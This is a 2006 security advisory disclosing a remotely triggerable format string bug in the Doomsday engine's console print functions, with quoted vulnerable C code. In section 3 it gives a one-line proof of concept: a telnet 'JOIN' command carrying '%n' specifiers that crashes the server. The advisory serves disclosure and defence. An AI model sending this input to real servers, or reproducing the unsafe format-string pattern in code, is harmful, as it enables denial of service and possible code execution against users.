Format string in Doomsday 1.8.6


#######################################################################

Luigi Auriemma

Application: Doomsday engine
http://www.doomsdayhq.com
http://deng.sourceforge.net
Versions: <= 1.8.6 (and current SVN 1.9.0)
Platforms: Windows, *nix, *BSD, Mac and others
Bug: format string bug in Con_Message and Con_Printf
Exploitation: remote, versus server and clients
Date: 03 Apr 2006
Author: Luigi Auriemma
e-mail: aluigi@xxxxxxxxxxxxx
web: http://aluigi.altervista.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


The Doomsday engine is an enhanced and well known open source port of
the original Doom engine and is also one of the most played on
Internet.


#######################################################################

======
2) Bug
======


The Doomsday engine contains many functions used for the visualization
of the messages in the console.
Both Con_Message and conPrintf are vulnerable to a format string
vulnerability which could allow an attacker to execute malicious code
versus the server or the clients.
The first function calls a "Con_Printf(buffer)" while the second one
calls a "SW_Printf(prbuff)" if SW_IsActive is enabled (which means
ever).

From Src/con_main.c:

void Con_Message(const char *message, ...)
{
va_list argptr;
char *buffer;

if(message[0])
{
buffer = malloc(0x10000);

va_start(argptr, message);
vsprintf(buffer, message, argptr);
va_end(argptr);

#ifdef UNIX
if(!isDedicated)
{
// These messages are supposed to be visible in the real console.
fprintf(stderr, "%s", buffer);
}
#endif

// These messages are always dumped. If consoleDump is set,
// Con_Printf() will dump the message for us.
if(!consoleDump)
printf("%s", buffer);

// Also print in the console.
Con_Printf(buffer);

free(buffer);
}
Con_DrawStartupScreen(true);
}

...

void conPrintf(int flags, const char *format, va_list args)
{
unsigned int i;
int lbc; // line buffer cursor
char *prbuff, *lbuf = malloc(maxLineLen + 1);
cbline_t *line;

if(flags & CBLF_RULER)
{
Con_AddRuler();
flags &= ~CBLF_RULER;
}

// Allocate a print buffer that will surely be enough (64Kb).
// FIXME: No need to allocate on EVERY printf call!
prbuff = malloc(65536);

// Format the message to prbuff.
vsprintf(prbuff, format, args);

if(consoleDump)
fprintf(outFile, "%s", prbuff);
if(SW_IsActive())
SW_Printf(prbuff);
...



#######################################################################

===========
3) The Code
===========


Connect with telnet to port 13209 (default) of a DoomsDay server and
type:

JOIN 1234 %n%n%n%n%n%n

The server will crash immediately.


#######################################################################

======
4) Fix
======


No fix.
No reply from the developers.


#######################################################################


---
Luigi Auriemma
http://aluigi.altervista.org

Relevant Pages

  • [NEWS] How to Remotely and Automatically Exploit a Format Bug
    ... Exploiting a format bug remotely is not as difficult as one would think. ... We will use very minimalist server along this paper. ... Since the buffer is directly available to a malicious user, ... Guessing the address of the shellcode in the stack ...
    (Securiteam)
  • [Full-disclosure] Format string in Doomsday 1.8.6
    ... Application: Doomsday engine ... remote, versus server and clients ... Both Con_Message and conPrintf are vulnerable to a format string ... buffer = malloc; ...
    (Full-Disclosure)
  • Re: smbclient timeout, file truncated / 9.1 Pro (was Re: libpopt.so.0 conflict...
    ... >and the OS/2 machines on the LAN. ... NETBEUI was invented to allow windows clients to use an OS/2 server. ... 9 buffer small read and write requests until the buffer is full ... Acknowledgment Timeout ...
    (alt.os.linux.suse)
  • [UNIX] Multiple Vulnerabilities in Citadel/UX
    ... could allow complete control over a vulnerable server. ... Citadel server as can be seen by this simplistic code snippet: ... configuration buffers, leading to the possibility of carrying out a buffer ... int connect_to_host; ...
    (Securiteam)
  • Re: Samba HOWTO
    ... but I see no reason why eCS or Warp Server ... OS/2 LAN Requester initialization file ... 9 buffer small read and write requests until the buffer is full ... Acknowledgment Timeout ...
    (comp.os.linux.networking)